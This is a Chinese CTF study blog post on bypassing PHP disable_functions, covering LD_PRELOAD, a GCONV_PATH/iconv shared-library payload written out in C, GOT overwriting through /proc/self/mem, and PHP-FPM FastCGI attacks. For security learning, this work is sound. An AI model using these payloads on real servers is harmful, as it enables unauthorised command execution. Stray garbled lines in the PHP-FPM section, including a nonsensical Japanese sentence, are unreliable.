

# 从 ByteCTF 到 bypass\_disable\_function | Z3ratu1's blog

---

从 ByteCTF 到 bypass\_disable\_function 起初只是简单的看了一下去年 ByteCTF 中那个 bypass\_disable\_fuction 的题，然后发现原来 PHP 有这么多 bypass 的方.....

---

起初只是简单的看了一下去年 ByteCTF 中那个 bypass\_disable\_fuction 的题，然后发现原来 PHP 有这么多 bypass 的方案我不知道，以及一些零碎的其他知识点，统一学习了

然后马上蓝帽杯遇到一个 bypass 发现完全不会做，进行大型 update

## **putenv**

---

在环境变量可控时执行的两大操作，需要 disable\_function 里面给用 putenv

## **LD\_PRELOAD**

这个是最老的操作之一了，我掌握的也就这一种，通过 **LD\_PRELOAD** 这个变量可以指定动态链接库 (.so 文件) 在 libc 之前被加载，编写一个恶意的动态链接库，使用 GNU 的特殊语法，在调用 main 函数之前对构造属性进行执行，由于是调的 C 库这边的函数，自然不受 disable\_function 的影响。只要 PHP 启动新进程时，恶意动态链接库被加载，且其构造方法直接在一切之前运行，构造方法中写一个命令执行即可。

简单的说就是能劫持 PHP 启动的新进程

## mail

PHP 使用 mail 函数的时候会用 execve 来启动 sendmail, 启动进程时成功命令执行

## imap\_open

也是一个启动进程的函数

## Imagick

这个库在远古版本是能直接命令执行的, 能直接绕过 disable function, 不过那个也太远古了。但是这个库也能启动新的进程, 而非常有意思的一点是, LD\_PRELOAD 那篇文章的作者却提到他没能在 imagick 中启动新的进程, 不过 OCTF2019 中的这道 Wallbreaker\_Easy 考的就是这个点 (这个题用的 FPM 模式, 估计用 FPM 也能打通), Imagick 再进行图片类型转换时, 需要启动外部程序进行转换, 这样就会启动新的进程, 实现 LD\_PRELOAD 的命令执行, 这里放一个替换 mail 的 payload

```
$a=new Imagick();
$a->readImage('123.png');
$a->writeImage('123.wdp');
```

可以用之前的 bypass 脚本打通

## iconv

这个是 ByteCTF 的考点, 基本原理也是最后的底层实现调用的是 C 的动态链接库。

PHP 在使用 `iconv()` 时最后一路调用, 进入 libc 函数 `iconv_open()`, 再一波操作调用到. so 文件的方法, 实现 RCE 同样, 系统不会无缘无故的调用我们自己上传的路径下的 `.so` 文件, 其支持使用 `GCONV_PATH` 的自定义编码转换模块, 所以可以 `putenv` 将该变量设置为目标路径, 同时上传两个文件以建立该编码模块并实现利用

## glibc iconv 文档 讲解了 gconv-modules 的基本语法

这里默认后缀是. so 所以不需要指定. so, 默认认为动态链接库和 gconv-modules 在同一目录下, 但是也允许相对目录, 编码名后面加的 // 是 glibc 实现的问题, 文档里说你听他的就行了

## gconv-modules

```
module PAYLOAD// INTERNAL ../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../tmp/payload 2
```

payload.c, 使用 `gcc payload.c -o payload.so -shared -fPIC` 编译为 payload.so

```
#define _GNU_SOURCE

#include
#include
#include

extern char** environ;

void gconv() {}

void gconv_init() {
    const char* cmdline = getenv("EVIL_CMDLINE");
    int i;
    for (i = 0; environ[i]; ++i) {
        if (strstr(environ[i], "LD_PRELOAD")) {
            environ[i][0] = '\0';
        }
    }
    system(cmdline);
}
```

此时在 iconv 中遇到 `payload` 编码时，即会调用我们这个恶意的动态链接库完成命令执行

除了 `iconv()` 这个函数，所有能最终调用到 libc 的 `iconv_open()` 操作均能触发 RCE，比如 `iconv_strlen`，或者 `php://filter` 的 `convert.iconv` 过滤器等

这道题的预期解应该就是用 `php://filter`

Ify 神仙还提到了可以再套一层 LD\_PRELOAD 劫持 `system` 这个函数启动的进程方便执行命令，但是我感觉只要自己把 `payload` 里面写好一点靠环境变量作为参数执行命令应该也很方便吧？这里直接抄那个 LD\_PRELOAD 的 `payload` 靠环境变量命令执行也很不错

## 写 / proc/self/mem

好像以前见到过类似的题目，偏二进制

PHP 主进程是 root 的，但是子进程是 www-data 的，`/proc/self/mem` 属于 www-data 且权限是 600，但 `/proc/self` 目录是 root 的，并且 www-data 无权限，所以正常情况下不能写入。

但是对于 Nginx+php，且为低版本的 php-fpm (PHP<5.6)，`/proc/self/` 属于 www-data，可以通过写入 GOT 表的 RCE

## 二进制基础

二进制文件执行函数的时候要查两个表，一个 PLT 一个 GOT。PLT 是在编译时就确定下来了的，加载进内存的时候位于代码段。但由于动态链接之类的存在，在编译的时候并不能确定所有函数的地址，因为它甚至都还没加载进来，所以 PLT 表项并不存放函数的地址，而是指向 GOT 表的对应项，再由 GOT 表指向函数的真实地址。GOT 表就是在运行时当调用一个函数的时候临时去查询的，因为 PLT 处于代码段不可修改，所以查到之后回填进 GOT 表，下次调用该函数就可以直接查询 GOT 表获取到地址。期间还有各种复杂的操作，比如什么 GOT 表前几项是用来进行函数地址查询的函数之类的，还有一种程序运行时不是等需要用到再去填 GOT 表，而是直接全部加载完然后把 GOT 表也变得只读防止被修改之类的

## 利用

从上面已经可以看出来函数调用时其所用的是 GOT 表指向的地址，那么只要修改 GOT 表中某个函数，在执行那个函数的时候变成执行 system 之类的就搞定了（修改 GOT 表应该是 pwn 那边的常见操作才是。。。）

抄一个攻击流程

---

写一下劫持 GOT 表的步骤，这里直接写 shellcode：

1. 读 /proc/self/maps 找到 php 和 libc 在内存中的基址
  2. 解析 /proc/self/exe 找到 php 文件中 readfile@got 的偏移
  3. 找个能写的地址写 shellcode
  4. 向 readfile@got 写 shellcode 地址覆盖
  5. 调用 readfile
- 

## 利用脚本

## 攻击 PHP-FPM

---

先了解一下前置知识

### PHP 运行类型

PHP 运行一般来说几个类型，CLI, php-cgi, php-fpm, Apache2.0handler

CLI 是 Command Line Interface，命令行情况下使用，不怎么常见

CGI 是 Common Gateway Interface，webserver 和其他软件通信的协议（感觉是配合 Nginx 做反向代理的时候使用的），有一个强化版本 fast-cgi。php 的 cgi 就是来一个请求 PHP 起一个解释器进程处理，处理完了关掉，就很慢很

感谢， 帮忙一下吧， 小白不懂， 只知道大概， 用什么方法去绕过这个， 可以教一下， 谢谢

php-cgi 是早期的 cgi 管理器，因为 cgi 不太行所以这个也不太行

php-fpm 是 fast-cgi 的管理器，一个 master 进程和一堆 worker 进程，master 接收请求分配给 worker，能动态调度启动 worker 进程，性能 upup

使用 Apache 搭建 PHP 的时候使用的是 Apache2handler，这个时候 Apache 是把 PHP 作为一个 module 加载进来的，属于是 Apache 自己内嵌 PHP 的解释器，就少了一步进程间通信，Apache 直接自己开 PHP 解释器进行处理

## 协议字段

在通信时有几个比较有意思的字段是可以指定的

`SCRIPT_FILENAME`，指定 PHP 执行的脚本文件路径，不过 php5.3.9 之后加入了 fpm 增加了 `security.limit_extensions`，只允许执行如下后缀的文件 `.php .php3 .php4 .php5 .php7`

`PHP_VALUE`，可以覆盖一些 `php.ini` 里面定义的属性，只能用于 `PHP_INI_ALL` 或 `PHP_INI_PERDIR` 类型的指令，具体看这个 `php.ini 配置选项列表`，好用的比如 `auto_prepend_file`，`open_basedir`

`PHP_ADMIN_VALUE`，和上面这个差不多，区别在于这个字段设置的属性不能在用户层面上被修改，也就是不能被 `ini_set()` 之类的函数在应用里被重写，也不能被 `.htaccess` 这种配置文件覆盖，常用的有 `allow_url_include`，启用后支持 `include url` 形式的文件，经典 `php://input` 伪协议打通，以及 `extension_dir`，指定扩展的 `.so` 直接 bypass `disable_function` 打通，`safe_mode`，在 PHP5.4 之后就被删除了的东西，启用后会限制某些函数的使用，比如 `move_upload_file`,`copy` 这些能把远程文件下到本地的函数，和一些 `system`, `shell_exec` 这类直接的命令执行函数，也不允许进行 `dl` 函数加载扩展文件 (`.dll` or `.so`)

(找不到资料，但是感觉也许可以把低安全等级的变量也设置成 `PHP_ADMIN_VALUE` 不让动态的修改，不过 `PHP_INI_SYSTEM` 这个类型的属性理论上只允许在 `php.ini` 里面设置，这里能改真是玄幻)

与之对位的还有 `PHP(_ADMIN)_FLAG` 这么个属性，其区别在于其值只能为布尔值

可惜的是这些属性并不能覆盖 `disable_function`

---

PHP 配置值通过 `php_value` 或者 `php_flag` 设置，并且会覆盖以前的值。请注意 `disable_functions` 或者 `disable_classes` 在 `php.ini` 之中定义的值不会被覆盖掉，但是会将新的设置附加在原有值的后面。  
使用 `php_admin_value` 或者 `php_admin_flag` 定义的值，不能被 PHP 代码中的 `ini_set()` 覆盖。

---

修改 `PHP_(ADMIN_)VALUE` 会直接使得当前处理请求的 fastCGI 进程受到影响，如果多次请求就可能污染掉所有的进程，在重启 fpm 之前可能所有进程都会受到影响

## 利用

因为之前说到使用 CGI 的时候，是 webserver 和 CGI 直接进行通信的，所以就存在进程间通信的问题，在 Nginx 的设置中有一个 `fastcgi_pass` 的设置，指定 fastcgi 所在的 ip 端口（或 Unix socket），PHP 的 fpm 设置中可以配置 fastcgi 的监听位置，可以通过配置使得 PHP 也能前后端分离

fpm 并不验证数据的来源，只要是发送到监听端口的数据就一律接受

PHP 在 fpm 配置中若将监听端口写成 `0.0.0.0:9000`，则接受来自任意 ip 的通信，可以通过伪装成 Nginx 服务器与 php-fpm 通信来执行命令，如果配置的是 `127.0.0.1:9000` 这种情况的可能就要靠 SSRF 打了

### P 神的利用脚本

SSRF 也分两种，如果是监听的 `127.0.0.1` 这种 ip 地址就可以用 gopher 发 TCP 包打，如果直接监听 Unix socket 的话就得专门起一个 socket 去连接了

利用方案：  
1. 自己随便上传一个其他位置的马然后用 `script_name` 指定进行利用  
2. 随便找一个 PHP 文件然后设置 `auto_prepend_file` 为 `php://input`，`allow_url_include` 为 `On` 打通

## bypass\_disable\_function

直接扯着那个脚本打并不能绕过 `Disable function` 口罩做到了命令执行 因为这样子发过去的请求还是中盾来的 PHP  
[https://blog.z3ratu1.cn/从ByteCTF到bypass\\_disable\\_function.html](https://blog.z3ratu1.cn/从ByteCTF到bypass_disable_function.html)

且のソノ自力で PHP の内部関数を実行するには disable\_functions, ノーマル PHP で実行する。このソースコードは、このソースコードを実行する。

解释器进行解析

但是可以通过 FastCGI 协议去让 php-fpm 加载我们自定义的扩展 (.so 文件), 而这个扩展肯定是不受 disable\_function 限制的, 做到任意命令执行

即之前提到的 `extension_dir` 和 `extension`

蚁剑有一个玄幻的插件, 直接生成一个调用 system 函数的. so 文件, 然后输这么个命令 `php -n -S 127.0.0.1:port -t /var/www/html` 在目标机器上新开一个 web 服务, 当然权限是 www-data 的, 但是添加了 `-n` 参数指定不使用 php.ini, 可以绕过其设置的 disable\_function, 并且还上传了一个 antproxy.php 文件将请求转发过去, 实现比较方便的命令执行 (不然应该是执行一次传一个. so 吧, 要我说继续搞那种接受环境变量做命令的方法也挺好的)

这次这个蓝帽杯本身是一个打. so 扩展的 pwn 题, 但是我看的 wp 成功的拿 fpm 打了一个. so 加载的非预期打通了

## FFI

Foreign Function Interface, 外部函数接口

PHP7.4 的新特性, 可以直接调用外部代码, RCTF 2019 的 Nextphp 出的就是这个  
需要 `ffi.enable=true` 才能任意使用, 否则只能使用在对应文件中使用

## 参考链接

[ByteCTF WP – 无需 mail bypass disable\\_functions](#)

[PHP 突破 disable\\_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数](#)

[php 之 CGI、FastCGI、APACHE2HANDLER、CLI 运行模式的详解](#)

[攻击 PHP-FPM 实现 Bypass Disable Functions](#)

[RASP 攻防 —— RASP 安全应用与局限性浅析](#)

[bypass disable\\_function 多种方法 + 实例](#)

浅析 php-fpm 的攻击方式

从一道 CTF 学习 Fastcgi 绕过姿势

PHP 连接方式介绍以及如何攻击 PHP-FPM

Fastcgi 协议分析 && PHP-FPM 未授权访问漏洞 && Exp 编写

PHP 绕过 open\_basedir 列目录的研究